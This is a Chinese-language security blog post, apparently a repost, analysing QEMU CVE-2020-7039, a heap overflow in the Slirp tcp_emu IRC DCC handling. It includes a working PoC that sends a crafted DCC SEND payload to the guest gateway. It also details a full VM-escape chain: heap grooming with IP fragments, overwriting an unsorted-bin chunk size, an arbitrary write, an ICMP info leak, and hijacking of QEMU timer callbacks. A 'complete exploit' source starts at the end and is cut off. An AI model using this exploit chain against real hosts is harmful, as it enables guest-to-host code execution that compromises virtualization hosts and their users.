当前位置:网站首页 > 黑客培训 > 正文

QEMU-CVE-2020-7039

freebuffreebuf 2021-12-22 301 0

本文来源:星阑科技

知识前置

Slirp模块

QEMU内部网络分为两部分:

提供给客户的虚拟网络设备(E1000 PCI网卡...). 与模拟NIC交互的网络后端(例如,将数据包放入主机的网络).

默认情况下,QEMU将为guest虚拟机创建Slirp用户网络后端和适当的虚拟网络设备(E1000 PCI网卡…) ,QEMU缺省使用"-net nic-net user"参数为客户机配置网络,提供了一种用户模式(user-mode)的网络模拟,Slirp实现了整个TCP/IP协议栈,并且使用这个协议栈提供一个虚拟的NAT网络,主要模拟了网络应用层协议,其中包括IP协议(V4和V6)、DHCP协议、ARP协议等。通过Slirp模块,用户模式的Guest主机可以连通Host主机及外部网络。

当前Guest主机中模拟的网关是 10.0.2.2,ifconfig上对应网卡是没显示的,但是访问网关确实可以访问到Host主机。

下面对Slirp模块中的一小部分代码进行分析:

相关结构体

// slirp/mbuf.h struct mbuf {     struct  mbuf *m_next;       /* Linked list of mbufs */     struct  mbuf *m_prev;     struct  mbuf *m_nextpkt;    /* Next packet in queue/record */     struct  mbuf *m_prevpkt;    /* Flags aren't used in the output queue */     int m_flags;                /* Misc flags */      int m_size;                 /* Size of mbuf, from m_dat or m_ext */     struct  socket *m_so;      caddr_t m_data;             /* Current location of data */     int m_len;                  /* Amount of data in this mbuf, from m_data */      Slirp *slirp;     bool    resolution_requested;     uint64_t expiration_date;     char   *m_ext;     char    m_dat[]; };
  • m_data : 指向当前数据的地址

  • m_dat[]: 若传入的数据包不大,则数据存放在m_dat[]对应的数组中,首次分配mbuf结构体的时候,会将m_dat地址赋值给m_data指针

  • m_ext : 若传入的数据包太大,则会采用动态空间分配的方式存放数据,而申请的动态空间指针交给m_ext指针

  • m_len : 当前保存的数据总大小

  • m_size : 存放当前mbuf结构体大小

  • m_flags: 相关标志位,用于表示结构体相关状态,例如分配了动态空间管理数据,则会存在#define M_EXT 0x01字段

// slirp/ip.h  struct qlink {     void *next, *prev; };  struct ipasfrag {     struct qlink ipf_link; // ip fragment double link     struct ip ipf_ip;      // the ip header of fragment };

此结构体,在IP分片函数ip_reass()中使用频繁,其中存在的双向链表结构串起了所有分片。

// slirp/ip.h struct ipq {     struct qlink frag_link;     /* to ip headers of fragments */     struct qlink ip_link;         /* to other reass headers */     uint8_t ipq_ttl;             /* time for reass q to live */     uint8_t ipq_p;                 /* protocol of this fragment */     uint16_t ipq_id;             /* sequence id for reassembly */     struct in_addr ipq_src, ipq_dst; };

此结构体,在ip_reass()中,用于管理所有的分片相同的属性的主结构,也是所有分片中双向链表的链表头。

Slirp模块中对IPV4数据包的处理

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len) {     struct mbuf *m;     int proto;      if (pkt_len  ETH_HLEN) // 判断大小是否小于`Eth-Frame Header Len`         return;      proto = (((uint16_t)pkt[12])  8) + pkt[13]; // 获取`Eth-Frame`中 Type,作为switch的分支条件     switch (proto) {     case ETH_P_ARP:         arp_input(slirp, pkt, pkt_len); // 若为ARP协议,则调用 arp_input 函数,进行处理         break;     case ETH_P_IP:     case ETH_P_IPV6:         m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置         if (!m) return;         /* Note: we add 2 to align the IP header on 4 bytes,          * and add the margin for the tcpiphdr overhead  */         if (M_FREEROOM(m)  pkt_len + TCPIPHDR_DELTA + 2) {             m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间         }         m->m_len = pkt_len + TCPIPHDR_DELTA + 2;         memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len); // 拷贝传入的数据包到m_data指针处          m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // 当前m_data指向数据包 Header,不是Eth-Frame Header         m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN;          if (proto == ETH_P_IP) { // IPV4              ip_input(m);         } else if (proto == ETH_P_IPV6) { // IPV6             ip6_input(m);         }         break;      case ETH_P_NCSI:         ncsi_input(slirp, pkt, pkt_len);         break;      default:         break;     } }

假如此时去访问外界网络,比如执行apt-get update,则会向网卡发送数据,当通过网卡将数据封装为以太网帧后,则会在Slirp模块中调用slirp_input()函数对进一步处理。

void ip_input(struct mbuf *m) {     Slirp *slirp = m->slirp;     register struct ip *ip;     int hlen;      if (!slirp->in_enabled) {         goto bad;     }      if (m->m_len  sizeof(struct ip)) {         goto bad;     }      ip = mtod(m, struct ip *); // 返回m_data,前面有提到,m_data指向了数据包的Header      if (ip->ip_v != IPVERSION) {         goto bad;     }      hlen = ip->ip_hl  2; // 左移两位则是IP Header实际大小     if (hlen  sizeof(struct ip) || hlen > m->m_len) { // 检测Header len 是否合法         goto bad; /* or packet too short */     }      if (cksum(m, hlen)) { // 第二次检测 checksum计算结果是否合法         goto bad;     }      NTOHS(ip->ip_len); // 将ip_total_len从网络字节序列转换成主机字节序列     if (ip->ip_len  hlen) { // 检测当前数据包的total len是否合法         goto bad;     }     NTOHS(ip->ip_id);     NTOHS(ip->ip_off);      if (m->m_len  ip->ip_len) { // // 再次检测ip_total_len 和当前数据包对应的mbuf结构体之间是否合法         goto bad;     }      if (m->m_len > ip->ip_len) // 如果m->m_len稍大,则调用m_adj函数对其进行修剪         m_adj(m, ip->ip_len - m->m_len);      /* check ip_ttl for a correct ICMP reply */     if (ip->ip_ttl == 0) {         icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl");         goto bad;     }      // ip Header中 ip->ip_off最高三位对应FLAGS     // FLAGS: 长度为 3Bit     // 字段中第一位不使用     // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片     // 第三位是MF(More Fragments),MF = 0 指最后一个分片     if (ip->ip_off          struct qlink *l; // double link         // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头         for (l = slirp->ipq.ip_link.next; l !=               l = l->next) {             fp = container_of(l, struct ipq, ip_link);             if (ip->ip_id == fp->ipq_id          }         fp = NULL; // if the fragment is first , so set fp == NULL     found:          ip->ip_len -= hlen; // 减去header len,剩下payload长度         if (ip->ip_off          else             ip->ip_tos           ip->ip_off = 3; // 获取当前分片的偏移          if (ip->ip_tos              if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                 return;             m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,                                  // 此处获取当前ip指针对应的mbuf结构体         } else if (fp)             ip_freef(slirp, fp);      } else         ip->ip_len -= hlen;      // 以 protocol作为switch的分支条件     switch (ip->ip_p) {     case IPPROTO_TCP:         tcp_input(m, hlen, (struct socket *)NULL, AF_INET);         break;     case IPPROTO_UDP:         udp_input(m, hlen);         break;     case IPPROTO_ICMP:         icmp_input(m, hlen);         break;     default:         m_free(m);     }     return; bad:     m_free(m); }

在slirp_input()函数中,对数据包简单处理,生成了对应的mbuf结构体,又在ip_input()函数中进一步处理,根据相关字段,判断是否分片,而分片函数(ip_reass)则是如下:

static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) {     register struct mbuf *m = dtom(slirp, ip);     register struct ipasfrag *q;     int hlen = ip->ip_hl  2;     int i, next;      m->m_data += hlen; // m_data 也指向当前payload区域     m->m_len -= hlen;       if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片         struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670          if (t == NULL) {             goto dropfrag;         }         fp = mtod(t, struct ipq *);         insque( // 将当前生成的fp指针加入到slirp主结构管理的双向链表,此处用于在ip_input函数中对分片链表头查找有用         fp->ipq_ttl = IPFRAGTTL;         fp->ipq_p = ip->ip_p;         fp->ipq_id = ip->ip_id;         fp->frag_link.next = fp->frag_link.prev =  // 对当前链表头初始化指针,其余则是保存ip header相关数据         fp->ipq_src = ip->ip_src;         fp->ipq_dst = ip->ip_dst;         q = (struct ipasfrag *)fp;         goto insert;     }     // 如果传入是第二个往后的分片,则此处遍历fp->frag_link双向链表,寻找与传入的分片相近的分片的结构体指针     for (q = fp->frag_link.next; q != (struct ipasfrag *)          q = q->ipf_next)         if (q->ipf_off > ip->ip_off)             break;      // 如果上述寻找到的结构体不是最后一个分片,则会对当前传人的分片进行修剪     if (q->ipf_prev !=  // 上述寻找到的分片的前一个分片         i = pq->ipf_off + pq->ipf_len - ip->ip_off; // 如果前一个分片 "偏移 + payload_len" > 当前传入的分片的偏移,则当前传入的分片需要向后移动         if (i > 0) {             if (i >= ip->ip_len)                 goto dropfrag;             m_adj(dtom(slirp, ip), i);             ip->ip_off += i;             ip->ip_len -= i;         }     }     // 此处是对当上述找到的结构体指针q之后的所有分片进行修剪,为传入的分片中的数据腾出空间     while (q != (struct ipasfrag *) // 如果当前传入的分片 "偏移 + payload_len" > 后面一个分片 偏移,则后续的所有分片后移         if (i  q->ipf_len) {             q->ipf_len -= i;             q->ipf_off += i;             m_adj(dtom(slirp, q), i);             break;         }         q = q->ipf_next;         m_free(dtom(slirp, q->ipf_prev));         ip_deq(q->ipf_prev);     }     // 最后,所有的分片的数据不会重叠存放  insert:     // 将当前传入的分片关联进双向链表     ip_enq(iptofrag(ip), q->ipf_prev);     next = 0;     // 检测前面的所有分片的payload_len 相加 是否 等于后一个分片的偏移,这里检测了所有的分片偏移不会重叠,长度也不会越界     for (q = fp->frag_link.next; q != (struct ipasfrag *)          q = q->ipf_next) {         if (q->ipf_off != next)             return NULL;         next += q->ipf_len;     }     // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等     if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos       // 若没有直接返回,即MF 字段为0,表示当前传入的分片是最后一个分片,下面则是将所有的分片拷贝到第一个分片对应的缓冲区中     q = fp->frag_link.next;     m = dtom(slirp, q);      q = (struct ipasfrag *)q->ipf_next;     while (q != (struct ipasfrag *)         q = (struct ipasfrag *)q->ipf_next;         m_cat(m, t); // 剪切后面的分片到第一个分片对应的缓冲区中     }      q = fp->frag_link.next; // 此处 fp->frag_link.next 为第一个分片对应的 "struct ipasfrag"结构体指针      // 如果在m_cat过程中,拷贝的总数据大小超过第一个分片的mbuf结构能存放的极限,则会动态分配新的空间,并更新第一个分片的mbuf.m_ext指针     // 当时 上述的 结构体指针q 还未更新指向新的缓冲区,所以检测到 M_EXT 字段,则重新获取一个指针q,令其指向新申请的缓冲区中     if (m->m_flags          q = (struct ipasfrag *)(m->m_ext + delta);     }      ip = fragtoip(q); // "struct ipasfrag",此结构体,前0x10是双向链表指针,后面则是保存的分片的ip_header,返回值为 "q+0x10"     ip->ip_len = next; // next是总数据长度,更新ip_total_len     ip->ip_tos      ip->ip_src = fp->ipq_src;     ip->ip_dst = fp->ipq_dst;     remque(     (void)m_free(dtom(slirp, fp));     m->m_len += (ip->ip_hl  2);     m->m_data -= (ip->ip_hl  2);      return ip;  dropfrag:     m_free(m);     return NULL; }

上述则是对IP包分片的过程,对传入的分片进行修剪,然后关联进对应的双向链表中进行管理,因为篇幅有限,只选择了Slirp对IPV4数据包的部分处理进行了简单的分析。

对此,Slirp会处理经过网卡处理后的数据,模拟数据包协议类型,进行管理与传输,然后再通过网卡发送给Host主机,通过Host主机访问目标。

漏洞分析与利用

漏洞简介

Description A heap buffer overflow issue was found in the SLiRP networking implementation of the QEMU emulator. This flaw occurs in the tcp_emu() routine while emulating IRC and other protocols. An attacker could use this flaw to crash the QEMU process on the host, resulting in a denial of service or potential execution of arbitrary code with privileges of the QEMU process.

根据RedHat上对CVE的描述可知,当QEMU以 Slirp模块作为网络后端的时候,漏洞位于其中tcp_emu()函数模拟IRC协议的分支,下面我们直接定位到目标代码。

int tcp_emu(struct socket *so, struct mbuf *m) {     Slirp *slirp = so->slirp;     unsigned n1, n2, n3, n4, n5, n6;     char buff[257];     uint32_t laddr;     unsigned lport;     char *bptr;     switch (so->so_emu) {         int x, i;         case EMU_IRC:         m_inc(m, m->m_len + 1); // 若 m->m_len + 1 不小于 M_ROOM(m),则会为输入的数据另外申请一段内存存放,并更新 mbuf结构体中的指针         *(m->m_data + m->m_len) = 0; // 末尾置0         if ((bptr = (char *)strstr(m->m_data, "DCC")) == NULL) // 从输入的数据中寻找DCC字符串作为起始指针             return 1;         // buff初始化是一个257字节大小的char数组         // 通过上述寻找的指针后的字符串作为输入,对buff laddr lport 或者 n1 赋值         if (sscanf(bptr, "DCC CHAT %256s %u %u", buff,              }             m->m_len = bptr - m->m_data; // 当tcp_listen函数返回通过时,下面则是对原缓冲区中的数据进行更新,另外的两个分支都是类似的             m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",                                  (unsigned long)ntohl(so->so_faddr.s_addr),                                  ntohs(so->so_fport), 1);         } else if (sscanf(bptr, "DCC SEND %256s %u %u %u", buff,              }             m->m_len = bptr - m->m_data; /* Adjust length */             m->m_len +=                 snprintf(bptr, m->m_size, "DCC SEND %s %lu %u %u%c\n", buff,                          (unsigned long)ntohl(so->so_faddr.s_addr),                          ntohs(so->so_fport), n1, 1);         } else if (sscanf(bptr, "DCC MOVE %256s %u %u %u", buff,              }             m->m_len = bptr - m->m_data; /* Adjust length */             m->m_len +=                 snprintf(bptr, m->m_size, "DCC MOVE %s %lu %u %u%c\n", buff,                          (unsigned long)ntohl(so->so_faddr.s_addr),                          ntohs(so->so_fport), n1, 1);         }         return 1;         ......

漏洞点则是出在更新m->m_len的时候,此时会通过snprintf向原缓冲区中更新数据,而snprintf原型如下,第二个参数size是作为写入的数据最大字节,而漏洞位置的第二个参数则是m->m_size,此处没有对写回的数据长度进行检验,而是直接用了mbuf结构体中m->m_size作为长度限制,而在经过tcp_listen函数后,so->so_faddr.s_addr和so->so_fport都会被设置为不同于输入的整型数值,此处又通过snprintf写入到bptr指针中,若写入的数据超过bptr指针可写的长度,则会发生缓冲区溢出。

m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",                              (unsigned long)ntohl(so->so_faddr.s_addr),                              ntohs(so->so_fport), 1);       int snprintf(char * restrict str, size_t size, const char * restrict format, ...);

下面再看看tcp_listen函数

struct socket *tcp_listen(Slirp *slirp, uint32_t haddr, unsigned hport,                           uint32_t laddr, unsigned lport, int flags) {     /* TODO: IPv6 */     struct sockaddr_in addr;     struct socket *so;     int s, opt = 1;     socklen_t addrlen = sizeof(addr);     memset(      so = socreate(slirp); // 建立一个sokcet 结构体 so      /* Don't tcp_attach... we don't need so_snd nor so_rcv */     if ((so->so_tcpcb = tcp_newtcpcb(so)) == NULL) { // 初始化 so->so_tcpcb         g_free(so);         return NULL;     }     insque(so,  // 将当前的so指针关联进 slirp结构体中的tcb链中      /*      * SS_FACCEPTONCE sockets must time out.      */     if (flags         // 对建立的socket结构体赋值相关数据     so->so_state      so->so_state |= (SS_FACCEPTCONN | flags);     so->so_lfamily = AF_INET;     so->so_lport = lport; /* Kept in network format */     so->so_laddr.s_addr = laddr; /* Ditto */      // 绑定监听 haddr 和 hport     addr.sin_family = AF_INET;     addr.sin_addr.s_addr = haddr;     addr.sin_port = hport;      if (((s = slirp_socket(AF_INET, SOCK_STREAM, 0))  0) ||         (slirp_socket_set_fast_reuse(s)  0) ||         (bind(s, (struct sockaddr *) 0) ||         (listen(s, 1)  0)) {         int tmperrno = errno; /* Don't clobber the real reason we failed */          if (s >= 0) {             closesocket(s);         }         sofree(so);         /* Restore the real errno */ #ifdef _WIN32         WSASetLastError(tmperrno); #else         errno = tmperrno; #endif         return NULL;     }     // 对套接字 s 在SOL_SOCKET级上 设置 SO_OOBINLINE 选项以及在IPPROTO_TCP 级上设置 TCP_NODELAY 选项     setsockopt(s, SOL_SOCKET, SO_OOBINLINE,      opt = 1;     setsockopt(s, IPPROTO_TCP, TCP_NODELAY,         // 从套接字 s 获取 (struct sockaddr *)     so->so_ffamily = AF_INET;     so->so_fport = addr.sin_port;     if (addr.sin_addr.s_addr == 0 ||         addr.sin_addr.s_addr == loopback_addr.s_addr)         so->so_faddr = slirp->vhost_addr;     else         so->so_faddr = addr.sin_addr;      so->s = s;     return so; }

经过调试可知,在调用getsocketname()函数的时候,会对addr.sin_port进行赋值,因为传入的hport值为0,所以之前执行bind函数的时候,套接字s的端口是随机生成的一个两字节的值,且此时的addr.sin_addr.s_addr为0,所以在判断addr.sin_addr.s_addr == 0条件的时候,则会进入第一个分支,则上述snprintf函数写回的so->so_faddr.s_addr和so->so_fport两个变量 分别来自so->so_fport = addr.sin_port和so->so_faddr = slirp->vhost_addr ,addr.sin_port是一个两字节的值,经过ntohs转化,在snprintf输出的为十进制字符串的时候,大概率占据5个字节的数据,另外 slirp->vhost_addr始终为0x202000A,若输入的十进制值长度小于写回的十进制值长度,则会导致写回的数据比写入时候的数据更多,因此导致溢出。

POC

#include stdio.h> #include stdlib.h> #include stdbool.h> #include unistd.h>  #include assert.h> #include string.h>  #include sys/socket.h> #include stdint.h> #include netinet/in.h> #include arpa/inet.h> void errExit(char *string) {     perror(string);     exit(EXIT_FAILURE); } int connect_with(char *ip,uint16_t port) {      int fd = socket(AF_INET,SOCK_STREAM, 0);     if(fd  0){         errExit("Socket");     }     struct sockaddr_in tcp_socket;     tcp_socket.sin_family = AF_INET;     tcp_socket.sin_port = htons(port);     tcp_socket.sin_addr.s_addr = inet_addr(ip);      if (connect(fd, (struct sockaddr *)       return fd; }  int main() {     char *payload = calloc(1,0x1000);     memset(payload,'F',0x1000);      int fd = connect_with("10.0.2.2",6667);     char s[0x30] = "DCC SEND TEST -1 -1 2333\0";     memcpy(payload + 0x5B2 - strlen(s) ,s,strlen(s)); // 如果发送的数据 > 0x5B2,则会另外申请空间,在mbuf结构体中的m_ext指针指向申请的空间     write(fd,payload,0x5B2);  }

通过gdb attach调试qemu进程,下断点在 slirp/src/tcp_subr.c:765,对当前 mbuf结构体的next chunk header 观察,可以发现在snprintf函数调用后,next chunk header被覆盖了,但是溢出的数据因为是%u和%lu格式化字符串,所以溢出的数据并不能控制为不可见字符串,而再观察snprintf函数的末尾,可以发现snprintf写回的字符串末尾存在一个"\x01\x0A",做过CTF Heap题的师傅们应该很容易就能想到覆盖unsorted bin chunk的size为0xA01令堆重叠,因此可以实现缓冲区溢出。

漏洞利用

IP Header

上述图为IP Header结构体,其中有Flags是描述当前IP包相关属性的标志字段;字段第一位不使用,字段第二位是DF(Don't Fragment)指明当前IP包是否可以分片,若当前DF字段为1,则当前数据包不可分片;字段第三位字是MF(More Fragments)指明当前是否为分片序列最后一个分片 ,为0则是最后一个分片,当最后一个分片发送出去,则Slirp模块则会对整个IP Packet的分片序列进行重组。

Malloc原语

void ip_input(struct mbuf *m) {     ......     // ip Header中 ip->ip_off最高三位对应FLAGS     // FLAGS: 长度为 3Bit     // 字段中第一位不使用     // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片     // 第三位是MF(More Fragments),MF = 0 指最后一个分片     if (ip->ip_off          struct qlink *l; // double link                  // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头         for (l = slirp->ipq.ip_link.next; l !=               l = l->next) {             fp = container_of(l, struct ipq, ip_link);             if (ip->ip_id == fp->ipq_id          }         fp = NULL; // if the fragment is first , so set fp == NULL     found:          ip->ip_len -= hlen; // 减去header len,剩下payload长度         if (ip->ip_off          else             ip->ip_tos          ip->ip_off = 3; // 获取当前分片的偏移         if (ip->ip_tos              if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                 return;              m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,                                  // 此处获取当前ip指针对应的mbuf结构体          } else if (fp)             ip_freef(slirp, fp);     } else         ip->ip_len -= hlen; ...... }   static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) {     ......     // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等     if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos      ......         }

此处,若发送的IPV4数据包能够分片,即DF字段为0,且MF为1,则表示当前的IP包是可以进行分片的,分片函数则是ip_reass()。

ip = ip_reass(slirp, ip, fp);             if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                 return;

若ip_reass函数返回值为NULL,则直接返回,表示分片未结束,而直接返回的结果则是相关申请的动态空间不会释放,当前分片数据包进入ip_input()函数之前,在slirp_input()会为其分配一个struct mbuf结构体,此结构体是没有被释放的,大小为0x670大小的chunk,且若此时为第一个分片。

if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片         struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

当进入分片函数ip_reass()时,fp == NULL条件下,又会为其分配一个struct mbuf结构体用于管理分片的相关数据,同样为0x670大小的chunk,此结构体也是没有被释放的,所以这里能够当作是一个malloc原语使用,但是这些申请的大小又都是固定的,想要准确的控制堆布局,还需要可以控制动态空间申请的大小。

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len) { ......     case ETH_P_IP:     case ETH_P_IPV6:         m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置         if (!m) return;         /* Note: we add 2 to align the IP header on 4 bytes,          * and add the margin for the tcpiphdr overhead  */         if (M_FREEROOM(m)  pkt_len + TCPIPHDR_DELTA + 2) {             m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间         }

又来到slirp_input()函数处,此时可以明确的知道,若处理的数据包数据大于M_FREEROOM(m) - TCPIPHDR_DELTA + 2,则会调用m_inc进行动态空间的分配,而此时的申请的动态空间可由我们的数据包的大小来控制,如果处于分片未结束状态,那么这段内存同样是不会被释放的,可以用它来进一步控制堆布局。

构造任意写

+------------+             |            |             | 1st packet |             |            |             +------------+              |            |             | 2nd packet |             |            |             +------------+              |            |             |   target   |             |            |               +------------+             |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放             +------------+

通过堆喷清空了各种零零散散的堆块后,下面进行布局,首先在target之前需要构造一个unsorted bin chunk,为了后续对所有的包进行管理,所以上述发送的所有包,都是处于第一个分片状态的,而当每一个包发送的时候,除了会申请空间作为mbuf结构体外,在ip_reass中同样会申请一个0x670大小的chunk储存分片相关数据,所以 1st packet 和 2nd packet都占据 0x670 * 2大小的空间,此处发送 一个 MF = 0的分片完成2nd packet的IP包重组,那么则会释放2nd packet堆块得到一个0xCE0大小的堆块。

+------------+             |            |             | 1st packet |             |            |             +------------+              | socket mbuf|             +------------+              |  ub chunk  | - unsorted bin chunk,socket mbuf切割后剩下0x670大小的空闲空间             +------------+              |            |             |   target   |             |            |               +------------+             |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放             +------------+

此时建立一个套接字,然后写入构造的payload到该套接字描述符中,则会先分配一个mbuf结构体用于管理此时的数据,则会切割0xCE0的unsorted bin chunk,并剩下一个0x670 大小 chunk 继续留在unsorted bin 中,通过漏洞点的snprintf即可修改此时的unsorted bin chunk header;但是仅仅修改是会触发ptmalloc的check机制的,而0xA00 0xCE0,所以修改size后的unsorted bin chunk的next chunk是位于target 的 m_dat数组中,那么可以在最开始申请target mbuf结构体的时候,在发送的数据中构造一个fake chunk header即可。

+------------+         |            |         | 1st packet |         |            |         +------------+ - start         |  ub chunk  | - unsorted bin chunk,0xA00 + 0x670 大小         +------------+          |            |         |   target   | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体         |            |           +------------+         |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放         +------------+

当写入一次数据后,当前的socket mbuf结构体会被释放,与0xA00的unsorted bin chunk合并,此时unsorted bin chunk中会覆盖到target 的mbuf 结构体,而其中的m_data指针是我们想要控制的,但是直接申请0xA00大小的空间来进行修改,不能精确控制只修改m_data指针,所以此处我们再将1st packet所在的包释放,则此时unsorted bin chunk大小为0xA00 + 0x670 + 0x670*2。

+------------+ - start     |            |     |  ub chunk  | - unsorted bin chunk,0xA00 + 0x670 + 0x670 * 2大小     |            |     +------------+      |            |     |   target   | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体     |            |       +------------+     |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放     +------------+

此时发送一个MF = 1、DF = 0的分片,写入数据包payload大小(0xA00 - 0x50),一共会切割unsorted bin chunk为四个部分,第一个部分0x670大小的chunk用于mbuf结构体,第二个0xA00大小的chunk用于数据包,第三个0x670大小的chunk用于ip_reass()函数中保存分片数据,最后剩下一个0x670大小的chunk,剩下的这个chunk则是覆盖了target mbuf的chunk,此时我们再发送一次另外的数据包用于劫持target mbuf结构体,而当前分片会申请unsorted bin chunk剩余的0x670大小的chunk作为管理分片的mbuf结构体,此时发送的数据会存放在m_dat数组中,因此可以对target mbuf结构体中m_data指针进行修改,之后则是继续向target 发送后续分片完成IP包重组,即可实现任意写的功能。

信息泄漏

信息泄漏的方法其实很简单,如果有复现过CVE-2019-6778 和 CVE-2019-14378的话,可以轻易实现。

根据CVE-2019-6778的泄漏思路,相关步骤如下

1、首先通过缓冲区溢出步骤,将m_data指针的低三位修改为0x000B00,然后修改后的地址中写入一个伪造的ICMP Header

2、设置target的数据包协议类型为ICMP,MF = 1、DF = 0并发送第一个分片,且发送数据长度足够,让它对应的mbuf结构体中m_len较大,此时IP包未完成重组

3、此时通过缓冲区修改上述target的m_data指针指向伪造的ICMP包的结束位置

4、完成target的IP重组,则结束ICMP请求,在发送最后一个分片之前建立一个套接字用于接收响应应答包

5、处理响应应答包中的数据,并获取程序基址和堆地址

程序流劫持

在QEMU程序中,存在一个数组main_loop_tlg,其是用于保存的struct QEMUTimerList结构体指针的数组。

// util/qemu-timer.c struct QEMUTimerList {     QEMUClock *clock;     QemuMutex active_timers_lock;     QEMUTimer *active_timers;     QLIST_ENTRY(QEMUTimerList) list;     QEMUTimerListNotifyCB *notify_cb;     void *notify_opaque;     /* lightweight method to mark the end of timerlist's running */     QemuEvent timers_done_ev; };  // include/qemu/timer.h  typedef void QEMUTimerCB(void *opaque); struct QEMUTimer {     int64_t expire_time;        /* in nanoseconds */     QEMUTimerList *timer_list;     QEMUTimerCB *cb;     void *opaque;     QEMUTimer *next;     int attributes;     int scale; };

其中active_timers指针是一个QEMUTimer的结构体指针,而QEMUTimer结构体中存在一个函数指针QEMUTimerCB *cb,而调用该函数指针时,传入的第一个参数是void *opaque,因此可以控制参数。

static bool timer_expired_ns(QEMUTimer *timer_head, int64_t current_time) {     return timer_head = current_time); }  bool timerlist_run_timers(QEMUTimerList *timer_list) {     ......     while ((ts = timer_list->active_timers)) {         if (!timer_expired_ns(ts, current_time)) {             break;         }         ......         /* remove timer from the list before calling the callback */         timer_list->active_timers = ts->next;         ts->next = NULL;         ts->expire_time = -1;         cb = ts->cb;         opaque = ts->opaque;         cb(opaque);         progress = true;     }     ...... }

当expire_time为0的时候,即可触发调用,所以伪造QEMUTimer和QEMUTimerList结构体,并通过任意写令main_loop_tlg数组中的指针指向伪造的QEMUTimerList结构体,当程序流进入timerlist_run_timers时,则会判断expire_time == 0后对函数指针cb进行调用,又能控制参数。

总结

1、当前的Exp应该还没有公开Exp,虽然难度不高,但是我只在自己一个复现环境中利用成功过,不保证其他环境也能利用成功。

2、Slirp模块中我复现的几个洞都是差不多的类型,基本上都是缓冲区溢出造成的问题,剩下的信息泄漏和程序流劫持都是模版。

完整Exploit

#include stdio.h> #include stdlib.h> #include stdbool.h> #include unistd.h>             // close() #include assert.h> #include string.h>             // strcpy, memset(), and memcpy()  #include netdb.h>              // struct addrinfo #include sys/types.h>          // needed for socket(), uint8_t, uint16_t, uint32_t #include sys/socket.h>         // needed for socket() #include netinet/in.h>         // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN #include netinet/ip.h>         // struct ip and IP_MAXPACKET (which is 65535) #include netinet/ip_icmp.h>    // struct icmp, ICMP_ECHO #define __FAVOR_BSD              // Use BSD format of tcp header #include netinet/tcp.h>         // struct tcphdr #include arpa/inet.h>           // inet_pton() and inet_ntop() #include sys/ioctl.h>           // macro ioctl is defined #include bits/ioctls.h>         // defines values for argument "request" of ioctl. #include net/if.h>              // struct ifreq #include linux/if_ether.h>      // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD #include linux/if_packet.h>     // struct sockaddr_ll (see man 7 packet) #include net/ethernet.h> #include sys/time.h>             // gettimeofday()  #include errno.h>                 // errno, perror()  #define ETH_HDRLEN 14 // Ethernet header length #define IP4_HDRLEN 20 // IPv4 header length #define TCP_HDRLEN 20 // TCP header length, excludes options data #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data  uint16_t g_spray_ip_id; size_t heap_base,text_base; struct ip_packet_info {     uint16_t ip_id;        // IP序列号     uint16_t ip_off;    // 片偏移     bool MF;            // Flags     uint8_t ip_p;        // 协议包类型     uint32_t ip_src;     uint32_t ip_dst; };  void errExit(char *string) {     perror(string);     exit(EXIT_FAILURE); }  uint16_t checksum(uint16_t *addr, int len) {     int count = len;     register uint32_t sum = 0;     uint16_t answer = 0;      while (count > 1) {         sum += *(addr++);         count -= 2;     }     if (count > 0) {         sum += *(uint8_t *)addr;     }     while (sum >> 16) {         sum = (sum      }     answer = ~sum;     return (answer); }   uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {     char buf[IP_MAXPACKET];     char 